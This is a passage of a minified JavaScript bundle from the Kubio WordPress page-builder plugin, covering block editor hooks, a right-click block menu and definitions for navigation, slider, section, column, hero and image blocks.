E={};o.r(E),o.d(E,"metadata",(function(){return Hh})),o.d(E,"settings",(function(){return Gh}));var f={};o.r(f),o.d(f,"metadata",(function(){return yO})),o.d(f,"settings",(function(){return jO}));var v={};o.r(v),o.d(v,"metadata",(function(){return vO})),o.d(v,"settings",(function(){return _O}));var C={};o.r(C),o.d(C,"metadata",(function(){return HO})),o.d(C,"settings",(function(){return UO}));var I={};o.r(I),o.d(I,"metadata",(function(){return XO})),o.d(I,"settings",(function(){return QO}));var T={};o.r(T),o.d(T,"metadata",(function(){return ag})),o.d(T,"settings",(function(){return cg}));var S={};o.r(S),o.d(S,"metadata",(function(){return dg})),o.d(S,"settings",(function(){return hg}));var w={};o.r(w),o.d(w,"metadata",(function(){return ry})),o.d(w,"settings",(function(){return iy}));var P={};o.r(P),o.d(P,"metadata",(function(){return Ey})),o.d(P,"settings",(function(){return fy}));var A={};o.r(A),o.d(A,"metadata",(function(){return Gy})),o.d(A,"settings",(function(){return Uy}));var B={};o.r(B),o.d(B,"metadata",(function(){return Vy})),o.d(B,"settings",(function(){return Yy}));var N={};o.r(N),o.d(N,"metadata",(function(){return ej})),o.d(N,"settings",(function(){return tj}));var x={};o.r(x),o.d(x,"metadata",(function(){return fj})),o.d(x,"settings",(function(){return vj}));var R={};o.r(R),o.d(R,"metadata",(function(){return xj})),o.d(R,"settings",(function(){return Rj}));var D={};o.r(D),o.d(D,"metadata",(function(){return zk})),o.d(D,"settings",(function(){return Yk}));var L={};o.r(L),o.d(L,"metadata",(function(){return bE})),o.d(L,"settings",(function(){return mE}));var M={};o.r(M),o.d(M,"metadata",(function(){return _E})),o.d(M,"settings",(function(){return CE}));var W={};o.r(W),o.d(W,"metadata",(function(){return RE})),o.d(W,"settings",(function(){return DE}));var H={};o.r(H),o.d(H,"metadata",(function(){return $E})),o.d(H,"settings",(function(){return KE}));var G={};o.r(G),o.d(G,"metadata",(function(){return Bf})),o.d(G,"settings",(function(){return Nf}));var U={};o.r(U),o.d(U,"metadata",(function(){return Lf})),o.d(U,"settings",(function(){return Mf}));var F={};o.r(F),o.d(F,"metadata",(function(){return Uf})),o.d(F,"settings",(function(){return Ff}));var z={};o.r(z),o.d(z,"metadata",(function(){return $f})),o.d(z,"settings",(function(){return Kf}));var V={};o.r(V),o.d(V,"metadata",(function(){return Zf})),o.d(V,"settings",(function(){return Jf}));var Y={};o.r(Y),o.d(Y,"metadata",(function(){return Cv})),o.d(Y,"settings",(function(){return Iv}));var $={};o.r($),o.d($,"metadata",(function(){return xv})),o.d($,"settings",(function(){return Rv}));var K={};o.r(K),o.d(K,"metadata",(function(){return p_})),o.d(K,"settings",(function(){return b_}));var q={};o.r(q),o.d(q,"metadata",(function(){return y_})),o.d(q,"settings",(function(){return j_}));var X={};o.r(X),o.d(X,"metadata",(function(){return D_})),o.d(X,"settings",(function(){return L_}));var Q={};o.r(Q),o.d(Q,"metadata",(function(){return tI})),o.d(Q,"settings",(function(){return eI}));var Z={};o.r(Z),o.d(Z,"metadata",(function(){return pI})),o.d(Z,"settings",(function(){return bI}));var J={};o.r(J),o.d(J,"metadata",(function(){return SI})),o.d(J,"settings",(function(){return wI}));var ee={};o.r(ee),o.d(ee,"metadata",(function(){return BI})),o.d(ee,"settings",(function(){return NI}));var te={};o.r(te),o.d(te,"metadata",(function(){return LI})),o.d(te,"settings",(function(){return MI}));var oe={};o.r(oe),o.d(oe,"metadata",(function(){return UI})),o.d(oe,"settings",(function(){return FI}));var ne={};o.r(ne),o.d(ne,"metadata",(function(){return XI})),o.d(ne,"name",(function(){return QI})),o.d(ne,"settings",(function(){return ZI}));var ae={};o.r(ae),o.d(ae,"metadata",(function(){return dT})),o.d(ae,"settings",(function(){return hT}));var le={};o.r(le),o.d(le,"metadata",(function(){return kT})),o.d(le,"settings",(function(){return ET}));var re={};o.r(re),o.d(re,"metadata",(function(){return _T})),o.d(re,"settings",(function(){return BT}));var ie={};o.r(ie),o.d(ie,"metadata",(function(){return NT})),o.d(ie,"settings",(function(){return RT}));var ce={};o.r(ce),o.d(ce,"metadata",(function(){return $T})),o.d(ce,"settings",(function(){return KT}));var se={};o.r(se),o.d(se,"metadata",(function(){return QT})),o.d(se,"settings",(function(){return ZT}));var ue={};o.r(ue),o.d(ue,"metadata",(function(){return iS})),o.d(ue,"settings",(function(){return cS}));var pe={};o.r(pe),o.d(pe,"metadata",(function(){return pS})),o.d(pe,"settings",(function(){return bS}));var be={};o.r(be),o.d(be,"metadata",(function(){return SS})),o.d(be,"settings",(function(){return wS}));var me={};o.r(me),o.d(me,"metadata",(function(){return GS})),o.d(me,"settings",(function(){return US}));var de={};o.r(de),o.d(de,"metadata",(function(){return ow})),o.d(de,"settings",(function(){return nw}));var he={};o.r(he),o.d(he,"metadata",(function(){return fw})),o.d(he,"settings",(function(){return vw}));var Oe={};o.r(Oe),o.d(Oe,"metadata",(function(){return Dw})),o.d(Oe,"settings",(function(){return Lw}));var ge={};o.r(ge),o.d(ge,"metadata",(function(){return eP})),o.d(ge,"settings",(function(){return tP}));var ye={};o.r(ye),o.d(ye,"metadata",(function(){return sP})),o.d(ye,"settings",(function(){return uP}));var je={};o.r(je),o.d(je,"metadata",(function(){return EP})),o.d(je,"settings",(function(){return fP}));var ke={};o.r(ke),o.d(ke,"metadata",(function(){return BP})),o.d(ke,"settings",(function(){return NP}));var Ee={};o.r(Ee),o.d(Ee,"metadata",(function(){return UP})),o.d(Ee,"settings",(function(){return FP}));var fe={};o.r(fe),o.d(fe,"settings",(function(){return YP})),o.d(fe,"metadata",(function(){return VP}));var ve={};o.r(ve),o.d(ve,"metadata",(function(){return $P})),o.d(ve,"settings",(function(){return KP}));var _e={};o.r(_e),o.d(_e,"metadata",(function(){return qP})),o.d(_e,"settings",(function(){return XP}));var Ce={};o.r(Ce),o.d(Ce,"metadata",(function(){return QP})),o.d(Ce,"settings",(function(){return ZP}));var Ie={};o.r(Ie),o.d(Ie,"metadata",(function(){return JP})),o.d(Ie,"settings",(function(){return tA}));var Te={};o.r(Te),o.d(Te,"metadata",(function(){return oA})),o.d(Te,"settings",(function(){return nA}));var Se={};o.r(Se),o.d(Se,"metadata",(function(){return aA})),o.d(Se,"settings",(function(){return lA}));var we={};o.r(we),o.d(we,"metadata",(function(){return rA})),o.d(we,"settings",(function(){return iA}));var Pe={};o.r(Pe),o.d(Pe,"metadata",(function(){return cA})),o.d(Pe,"settings",(function(){return sA}));var Ae=o(23),Be=o(2),Ne=o.n(Be),xe=(o(206),o(0)),Re=o(6),De=o(16),Le=o(3),Me=o(11),We=o(1),He=o(4),Ge=o(12);Object(Ae.addFilter)("blocks.registerBlockType","core/appearance-effect/attribute",(function(e){var t;return null!=e&&null!==(t=e.name)&&void 0!==t&&t.includes("kubio")&&(e.attributes={...e.attributes,appearanceEffect:{type:"string"}}),e}));const Ue=Object(Me.createHigherOrderComponent)((e=>t=>{const{dataHelper:o}=Object(He.useKubioBlockContext)();return Object(Ge.hasBlockSupport)(t.name,"kubio.appearanceEffect",!1)&&t.isSelected?Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(e,t),Object(xe.createElement)(Le.__experimentalStyleProvider,{document:document},Object(xe.createElement)(De.InspectorControls,null,Object(xe.createElement)("div",{className:"kubio-inspector"},Object(xe.createElement)(Le.PanelBody,{title:Object(We.__)("Entrance animation","kubio"),initialOpen:!1},Object(xe.createElement)(Re.AppearanceControl,{dataHelper:o})))))):Object(xe.createElement)(e,t)}),"withInspectorControl");Object(Ae.addFilter)("editor.BlockEdit","kubio/controls/appearance-effect",Ue);var Fe=o(24),ze=o(21),Ve=o(7),Ye=o(13),$e=o.n(Ye);const Ke=function(){let{element:e,executionDelay:t=300,scrollInView:o=!1}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};const n=Object(xe.useRef)(),a=Object(xe.useCallback)((e=>{if(e)return e.classList.add("kubio-focus-animation"),o&&e.scrollIntoView({behavior:"smooth"}),n.current=setTimeout((()=>{e.classList.remove("kubio-focus-animation")}),2e3),()=>clearTimeout(n)}),[]),l=Object(xe.useCallback)(Object(Be.debounce)((e=>{Object(Be.isString)(e)&&(e=document.querySelector(e)),a(e)}),t),[]);return Object(xe.useEffect)((()=>(e&&a(e),()=>n.current&&clearTimeout(n.current))),[e,n]),{showOverlay:a,debouncedShowOverlay:l}};var qe=o(49);const Xe=e=>{e&&(e.preventDefault(),e.stopPropagation())},Qe={label:"edit",action:async e=>{let{dataHelper:t,hooks:o,event:n}=e;Xe(n);const{selectBlock:a=Ne.a.noop,onSelectPanel:l=Ne.a.noop}=o;await a(null==t?void 0:t.clientId),l("content",".kubio-section-layout-panel")}},Ze={label:Object(We.__)("Duplicate","kubio"),action:async e=>{let{dataHelper:t,event:o}=e;Xe(o),t.duplicate()},enabled:e=>{const{hasBlockSupport:t,canInsertBlockType:o}=Object(Ve.select)("core/block-editor"),{block:n}=e.block,a=e.withParent().clientId;return!!n&&t(n.name,"multiple",!0)&&o(n.name,a)}},Je={label:Object(We.__)("Delete","kubio"),action:async e=>{let{dataHelper:t,hooks:o,event:n}=e;Xe(n);const{removeBlock:a=Ne.a.noop,selectBlock:l=Ne.a.noop}=o;await l(),a(null==t?void 0:t.clientId,!1)},enabled:e=>{const{canRemoveBlocks:t}=Object(Ve.select)("core/block-editor"),{block:o}=e,n=e.withParent().clientId;return!!o&&t([e.clientId],n)}},et={label:e=>"image"===e.getStyle("background").type?Object(We.__)("Change image","kubio"):Object(We.__)("Change video","kubio"),enabled:e=>{var t;return["image","video"].includes(null===(t=e.getStyle("background"))||void 0===t?void 0:t.type)},action:async e=>{let{dataHelper:t,hooks:o,event:n}=e;Xe(n);const{selectBlock:a=Ne.a.noop,onSelectPanel:l=Ne.a.noop}=o,r=t.getStyle("background",{});await a(null==t?void 0:t.clientId),l("content");try{const e=await Object(qe.openMediaPickerPopup)(null,{title:"image"===r.type?Object(We.__)("Select image","kubio"):Object(We.__)("Select video","kubio"),allowedTypes:"image"===r.type?["image"]:["video"]});t.group((()=>{let o={...r};"image"===r.type?(o=Ne.a.set({...r},"image.0.useFeaturedImage",!1),o=Ne.a.set(r,"image.0.source.url",e.url)):(o=Ne.a.set({...r},"video.type","internal"),o=Ne.a.set(r,"video.internal.url",e.url)),t.setStyle("background",o)})),l("style",".kubio-section-background-panel")}catch(e){l("style",".kubio-section-background-panel")}}},tt={label:Object(We.__)("Change background","kubio"),action:async e=>{let{dataHelper:t,hooks:o,event:n}=e;Xe(n);const{selectBlock:a=Ne.a.noop,onSelectPanel:l=Ne.a.noop}=o;await a(null==t?void 0:t.clientId),l("style",".kubio-section-background-panel")}},ot=[[Qe],[Ze,Je]],nt={EDIT:Qe,DUPLICATE:Ze,DELETE:Je,CHANGE_BACKGROUND:tt,CHANGE_IMAGE_VIDEO:et},at=[".h-template-part-overlay",".kubio-dropdown-with-hover",".h-template-part-overlay__container",".wp-block.is-selected *:not(.wp-block).rich-text, .wp-block.is-selected.rich-text"],lt=[".h-template-part-overlay",".h-template-part-overlay__container"],rt=Object(xe.memo)((()=>{var e;const{dataHelper:t}=Object(He.useKubioBlockContext)(),{block:o}=t,n=o.name;let a="kubio"===n.split("/")[0]||"core"===n.split("/")[0];return a=Object(Ae.applyFilters)("kubio.allowedRightClick",a,t),a&&null!==(e=window)&&void 0!==e&&e.isKubioBlockEditor?Object(xe.createElement)(it,{dataHelper:t}):Object(xe.createElement)(xe.Fragment,null)})),it=Object(xe.memo)((e=>{let{dataHelper:t}=e;const o=Object(xe.useRef)(),n=Object(xe.useRef)(),a="kubio-right-click-menu",l=`${a}__popover`,{ownerDocument:r}=Object(He.useOwnerDocumentContext)(),[i,c]=Object(xe.useState)({top:0,left:0}),[s,u]=Object(xe.useState)(!1),[p,b]=Object(xe.useState)(Be.noop),m=()=>{u(!1)},d=Object(Ae.applyFilters)("kubio.rightClickMenu.menuItems",ot,null==t?void 0:t.blockName),h=!(0===d.length)&&s,O=Object(xe.useCallback)((function(e){if(at.find((t=>e.target.closest(t))))return void(lt.find((t=>e.target.closest(t)))&&e.preventDefault());e.preventDefault(),e.stopPropagation();const t=e.pageX<10?e.pageX+25:e.pageX+15,o=e.pageY+10;e.target.closest(".wp-block-kubio-downarrow .wp-block-kubio-icon")?(e=>{const t=e.target.closest(".wp-block-kubio-downarrow"),o=new MouseEvent("contextmenu",{clientX:e.pageX,clientY:e.pageY});t.dispatchEvent(o)})(e):(c({top:o,left:t}),u(!0))}),[u]),g=Object(xe.useCallback)((e=>{3===e.which&&(at.find((t=>e.target.closest(t)))||e.preventDefault())}),[]);Object(xe.useEffect)((()=>{if(r){const e=null==r?void 0:r.querySelector(`[data-block='${t.clientId}']`);if(e)return e.addEventListener("contextmenu",O),e.addEventListener("mousedown",g),()=>{e.removeEventListener("contextmenu",O),e.removeEventListener("mousedown",g)}}}),[t.clientId,O,g,r]);const y=Object(xe.useRef)();Object(xe.useEffect)((()=>()=>{clearTimeout(y.current)}),[]);const j={position:"bottom right",placement:"bottom-start",className:l,getAnchorRect:()=>{var e;const t=null===(e=o.current)||void 0===e?void 0:e.getBoundingClientRect();return{...(null==t?void 0:t.toJSON())||{},ownerDocument:r}},flip:!0,animate:!1},k=Object(xe.useCallback)((()=>{u(!1)}),[u]);Object(He.useOnClickOutside)(n,k);const E=Object(He.useDebounce)((()=>{var e;null!==(e=n.current)&&void 0!==e&&e.matches(":hover")||u(!1)}),500),f=null==r?void 0:r.body;return h&&f?Object(xe.createPortal)(Object(xe.createElement)("div",{ref:o,className:$e()(a),style:i},Object(xe.createElement)(Le.Dropdown,{className:"kubio-right-click-dropdown-with-options",key:i.top+"--"+i.left,focusOnMount:!1,popoverProps:j,onToggle:u,renderToggle:function(){let{onToggle:e,isOpen:t}=arguments.length>0&&void 0!==arguments[0]?arguments[0]:{};return t||e(),Object(xe.createElement)(xe.Fragment,null)},renderContent:()=>Object(xe.createElement)("div",{ref:n,className:`${l}__content`,onMouseLeave:E},Object(xe.createElement)(ct,{dataHelper:t,menuItems:d,onClosePopup:m,ownerDocument:r}))})),f):Object(xe.createElement)(xe.Fragment,null)}));function ct(e){let{dataHelper:t,menuItems:o=[],onClosePopup:n,ownerDocument:a}=e;const l=Object(Ve.useDispatch)("core/block-editor"),r=Object(Ve.useDispatch)("core"),i=Object(Ve.useSelect)((e=>e("core/block-editor"))),c=Object(He.useActiveMedia)(),[,s]=Object(ze.useCurrentInspectorTab)(),{debouncedShowOverlay:u}=Ke(),{openSidebar:p=Ne.a.noop}=Object(Ve.useDispatch)(Fe.STORE_KEY)||{},b=Object(xe.useCallback)(((e,t)=>{p("block-inspector"),s(e),u(t)}),[u,p,s]),m={...i,...l,...r,onSelectPanel:b},d=Object(He.useDeepMemo)((()=>{let e=Ne.a.cloneDeep(o);Array.isArray(Ne.a.get(e,"0"))||(e=[e]);const n=[];return e.forEach((e=>{const o=e.filter((e=>{let o=Ne.a.get(e,"enabled",!0);return"function"==typeof o&&(o=o(t,m)),o}));o.length>0&&n.push(o)})),n}),[]);return Object(xe.createElement)(xe.Fragment,null,d.map(((e,o)=>Object(xe.createElement)(Le.MenuGroup,{key:o},e.map(((e,l)=>{var r;let i=null==e?void 0:e.label;Object(Be.isFunction)(i)&&(i=i(t));const s=Object(We.sprintf)(Object(We.__)("Edit %s","kubio"),null==t||null===(r=t.block)||void 0===r?void 0:r.title.toLowerCase()),u="edit"===(null==e?void 0:e.label)?s:i,p=Object(xe.createElement)(Le.MenuItem,{key:`${o} - ${l}`,onClick:o=>{null==e||e.action({dataHelper:t,hooks:m,event:o,activeMedia:c,ownerDocument:a}),n()}},u);return Object(xe.createElement)("div",{key:`${o} - ${l}`},p)}))))))}const st=Object(Me.createHigherOrderComponent)((e=>t=>Object(xe.createElement)(xe.Fragment,null,Object(xe.createElement)(rt,null),Object(xe.createElement)(e,t))),"withRightClick");Object(Ae.addFilter)("editor.BlockListBlock","kubio.rightClick",st,3);var ut=o(8),pt=o(39),bt=o(35);const{name:mt}={name:"kubio/navigation",title:"Navigation",description:"If you've accidentally removed your navigation, you can re-add a navigation to your page with this block. The navigation block has 5 available layouts.",category:"kubio-layout",attributes:{kubio:{type:"object"},anchor:{type:"string"},attrs:{type:"object"}},supports:{kubio:{elementsEnum:{NAVIGATION_CONTAINER:"outer",NAVIGATION_SECTION:"section"},elementsByName:{outer:{wrapper:!0,props:{className:[]}},section:{ancestor:"sticky",default:!0,selector:".wp-block-kubio-navigation-section__nav"}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]},default:{style:{descendants:{section:{animation:{duration:{unit:"s",value:.5}}}}},props:{width:"boxed",verticalAlign:"center",overlap:!1,sticky:!1,stickyStartAt:"immediately",animation:{name:"slideDown"}}}},multiple:!1}},{name:dt}={name:"kubio/navigation-top-bar",title:"Navigation Top Bar",category:"kubio-layout",attributes:{kubio:{type:"object"},anchor:{type:"string"},attrs:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer",INNER:"inner",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["d-flex"]}},inner:{props:{className:["h-section-grid-container"]}},typographyHolders:{selector:" > *"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{width:"full-width",verticalAlign:"center"}}}}},{name:ht}={name:"kubio/navigation-section",category:"kubio-layout",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{NAVIGATION:"nav",NAVIGATION_SECTION:"nav-section"},elementsByName:{nav:{internal:!0,default:!0,ancestor:"sticky",props:{className:["h-section","h-navigation"]}},"nav-section":{internal:!0,props:{className:["h-section-grid-container h-section-fluid-container"]}}},template:{type:"element",props:{name:"nav"},children:[{type:"element",props:{name:"nav-section"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Ot}={name:"kubio/navigation-items",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer"},elementsByName:{outer:{useBlockProps:!1,wrapper:!0,default:!0,props:{"data-nav-normal":"true"}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},{name:gt}={name:"kubio/navigation-sticky-items",category:"kubio-basic",attributes:{kubio:{type:"object"}},supports:{inseter:!1,kubio:{elementsEnum:{OUTER:"outer"},elementsByName:{outer:{useBlockProps:!1,wrapper:!0,default:!0,props:{"data-nav-sticky":"true"}}},template:{type:"element",props:{name:"outer"},children:[{type:"wp:InnerBlocks"}]}}}},yt={NAVIGATION:mt,NAVIGATION_SECTION:ht,NAVIGATION_ITEMS:Ot,NAVIGATION_STICKY_ITEMS:gt,NAVIGATION_TOP_BAR:dt},{name:jt}={name:"kubio/slider",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{default:{props:{textAlign:"center",layout:{horizontalGap:0,verticalGap:0,horizontalInnerGap:3,verticalInnerGap:3,horizontalAlign:"start",verticalAlign:"center"},slider:{pauseOnHover:!1,slidesPerView:3,loop:!0,autoPlay:{enabled:!0,direction:"left",speed:2500}},navigation:{arrows:{enabled:!1},dots:{enabled:!1}},transition:{effect:"slide",speed:1e3,coverflow:{rotate:50,stretch:0,depth:100,modifier:1}},kenBurns:{enabled:!1}},style:{descendants:{outer:{}}}},elementsEnum:{OUTER:"outer",CONTAINER:"container",ALLITEMS:"allitems"},elementsByName:{outer:{props:{className:["d-flex"]},wrapper:!0,default:!0,supports:{background:!0}},container:{props:{className:["d-flex"]}},allitems:{selector:".block-slider-item-inner"}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:kt}={name:"kubio/slider-content",parent:["kubio/slider","kubio/carousel"],attributes:{kubio:{type:"object"}},supports:{kubio:{default:{props:{},style:{}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["swiper-container"]}},inner:{props:{className:["swiper-wrapper"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:Et}={name:"kubio/slider-item",category:"kubio-basic",parent:["kubio/slider-content"],attributes:{kubio:{type:"object"},link:{type:"object",default:{typeOpenLink:"sameWindow"}}},supports:{kubio:{default:{style:{inner:{background:{image:[{forceBackgroundLayer:!0}]}}},props:{layout:{verticalAlign:"center",horizontalGap:"inherit",verticalGap:"inherit",horizontalInnerGap:"inherit",verticalInnerGap:"inherit"}}},elementsEnum:{OUTER:"outer",INNER:"inner",ALIGN:"align",VSPACE:"v-space"},elementsByName:{outer:{props:{className:["swiper-slide"]}},inner:{wrapper:!0,default:!0,props:{className:["d-flex","block-slider-item-inner"]}},"v-space":{selector:".wp-block-kubio-carousel-item__align > *:not(:last-child), .wp-block-kubio-slider-item__align > *:not(:last-child), .wp-block-kubio-carousel-item__align .wp-block-kubio-column__align > *:not(:last-child), .wp-block-kubio-slider-item__align .wp-block-kubio-column__align > *:not(:last-child)"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]},useParentPrefix:!0}}},{name:ft}={name:"kubio/slider-arrow",parent:["kubio/slider"],usesContext:["navigation"],attributes:{kubio:{type:"object"},icon:{type:"object",default:{name:"font-awesome/chevron-left"}},direction:{type:"string",default:"prev"}},supports:{kubio:{default:{_style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:30,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}}}},props:{horizontalAlign:"start",verticalAlign:"center"}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{props:{className:["slider--arrow"]}},inner:{default:!0,wrapper:!0,props:{className:["slider--arrow-inner"]}}},template:{type:"element",props:{name:"outer",shouldRender:"computed.arrowsEnabled"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}}}},{name:vt}={name:"kubio/slider-dots",parent:["kubio/slider"],usesContext:["navigation"],attributes:{kubio:{type:"object"}},supports:{kubio:{elementsEnum:{OUTER:"outer",INNER:"inner",DOT:"dot",DOTACTIVE:"dotActive"},elementsByName:{outer:{},inner:{wrapper:!0,default:!0,props:{className:["swiper-pagination"]}},dot:{selector:" .swiper-pagination-bullet"},dotActive:{selector:" .swiper-pagination-bullet.swiper-pagination-bullet-active"}},template:{type:"element",props:{name:"outer",shouldRender:"computed.dotsEnabled"},children:[{type:"element",props:{name:"inner"}}]},default:{props:{layout:{horizontalAlign:"center",verticalAlign:"end"}},style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}},dot:{width:{value:10},height:{value:10}}}}}}}},_t={SLIDER:jt,SLIDER_CONTENT:kt,SLIDER_ITEM:Et,SLIDER_ARROW:ft,SLIDER_DOTS:vt},{name:Ct}={name:"kubio/section",title:"Section",category:"kubio-layout",attributes:{kubio:{type:"object"},attrs:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{default:!0,wrapper:!0,props:{className:["d-flex","h-section-global-spacing"]},supports:{background:!0,separator:!0}},inner:{props:{className:["h-section-grid-container"]}}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{style:{customHeight:{type:"fit-to-content"}},props:{width:"boxed",verticalAlign:"center"}}}}},{name:It}={name:"kubio/row",title:"Columns",category:"kubio-basic",attributes:{kubio:{type:"object"},templateLock:{type:"string"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,props:{fullBackground:{type:"boolean"},layout:{type:"object"}},elementsEnum:{CONTAINER:"container",INNER:"inner",CENTER:"center",OUTER_GAPS:"outerGaps",INNER_GAPS:"innerGaps",TYPOGRAPHY_HOLDERS:"typographyHolders"},elementsByName:{container:{wrapper:!0,default:!0,supports:{separator:!0,background:!0}},center:{},inner:{props:{className:["h-row"]}},outerGaps:{selector:"> * > .h-row > [class*='h-col-'] > [class*='h-px-']"},innerGaps:{selector:" > * > .h-row > [class*='h-col-']"}},template:{type:"element",props:{name:"container"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]},default:{props:{fullBackground:!1,layout:{equalWidth:!1,equalHeight:!0,itemsPerRow:2,verticalAlign:"center",horizontalAlign:"center",horizontalGap:2,verticalGap:2,horizontalInnerGap:2,verticalInnerGap:2},media:{mobile:{layout:{itemsPerRow:1,horizontalGap:0}}}}}}}},{name:Tt}={name:"kubio/column",title:"Column",category:"kubio-basic",usesContext:["kubio/parentKubio"],parent:["kubio/row"],attributes:{kubio:{type:"object"}},supports:{anchor:!0,kubio:{appearanceEffect:!0,default:{props:{internal:{type:"object",default:{heroSection:{type:"none"}}},overlapOptions:!1,layout:{horizontalGap:2,verticalGap:2,horizontalInnerGap:"inherit",verticalInnerGap:"inherit",verticalAlign:"start"}},style:{descendants:{container:{customHeight:{type:"fit-to-content","min-height":{value:"",unit:"px"}}},inner:{textAlign:"center"}}},_style:{descendants:{container:{columnWidth:{type:"custom"},media:{mobile:{columnWidth:{type:"custom",custom:{value:100,unit:"%"}}}}}}}},elementsEnum:{INNER:"inner",CONTAINER:"container",VSPACE:"v-space",ALIGN:"align"},elementsByName:{inner:{default:!0,props:{className:["d-flex","h-flex-basis"]},supports:{background:!0,separator:!0}},container:{wrapper:!0,props:{className:["d-flex"]}},align:{props:{className:["h-y-container","h-column__content","h-column__v-align"]}},"v-space":{selector:"> * > .h-y-container > *:not(:last-child)"}},template:{type:"element",props:{name:"container"},children:[{type:"element",props:{name:"inner"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"align"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:St}={name:"kubio/header",category:"kubio-template-parts",attributes:{postId:{type:"number"},slug:{type:"string"},theme:{type:"string"},kubio:{type:"object"},tagName:{type:"string",default:"div"}},supports:{kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"container"},children:[{type:"wp:InnerBlocks"}]}},__experimentalDisableBlockOverlay:!0}},{name:wt}={name:"core/post-content",category:"kubio-template-parts",usesContext:["postId","postType"],supports:{align:!1,html:!1,kubio:{elementsEnum:{CONTAINER:"container"},elementsByName:{container:{wrapper:!0,default:!0}}},__experimentalDisableBlockOverlay:!0}},{name:Pt}={name:"kubio/hero",category:"kubio-layout",supports:{kubio:{appearanceEffect:!0,elementsEnum:{INLINE_SCRIPT:"inlineScript"},elementsByName:{inner:{props:{className:["h-navigation-padding","h-section-grid-container"]}},inlineScript:{tag:"<>"}},default:{props:{downArrow:{enabled:!1},showHeader:!1,overlapSection:!1}},template:{type:"element",props:{name:"outer"},children:[{type:"background"},{type:"separators"},{type:"element",props:{name:"inner"},children:[{type:"element",props:{name:"inlineScript"}},{type:"wp:InnerBlocks"}]}]}}}},{name:At}={name:"kubio/downarrow",parent:["kubio/hero"],usesContext:["navigation"],attributes:{kubio:{type:"object"}},supports:{kubio:{default:{style:{descendants:{inner:{transform:{translate:[{axis:"x",value:{value:0,unit:"px"}},{axis:"y",value:{value:0,unit:"px"}}]}}}},props:{bounce:!0,downarrowType:"icon"}},elementsEnum:{OUTER:"outer",INNER:"inner"},elementsByName:{outer:{props:{className:["h-scroll-to__outer d-flex justify-content-center h-down-arrow"]}},inner:{wrapper:!0,default:!0}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inner"},children:[{type:"wp:InnerBlocks"}]}]}},multiple:!1}},{name:Bt}={name:"kubio/multipleimages",category:"kubio-components",attributes:{kubio:{type:"object"}},supports:{kubio:{appearanceEffect:!0,default:{style:{descendants:{inside:{padding:{top:{value:50,unit:"%"}}}}}},elementsEnum:{OUTER:"outer",INSIDE:"inside",RATIO_INNER:"ratioInner",IMAGES:"images"},elementsByName:{outer:{wrapper:!0,default:!0,props:{className:["h-multiple-image"]}},inside:{props:{className:["h-multiple-image-inside-container"]}},ratioInner:{props:{className:["ratio-inner"]}},images:{selector:"img"}},template:{type:"element",props:{name:"outer"},children:[{type:"element",props:{name:"inside"},children:[{type:"element",props:{name:"ratioInner"},children:[{type:"wp:InnerBlocks"}]}]}]}}}},{name:Nt}={name:"kubio/multipleimagespicture",category:"kubio-basic",parent:["kubio/multipleimages"],attributes:{aspectRatio:{type:"number",default:1}},supports:{kubio:{appearanceEffect:!0,assetsURLImporterMap:{url:{assetIdToAttr:"id",subpath:!1}},default:{style:{descendants:{outer:{multipleImage:{angle:0,widthPercentage:30,topPercentage:20,leftPercentage:35,zIndex:1}}}},props:{data:{x:100,y:100,scaleX:2,scaleY:2,width:100,height:100},frame:{enabled:!1}}},elementsByName:{outer:{wrapper:!1}},useParentPrefix:!0}}},{name:xt}={name:"kubio/breadcrumb",category:"kubio-components",attributes:{kubio:{type:"object"},separatorSymbol:{type:"string",default:"/"},prefix:{type:"string",default:"You are 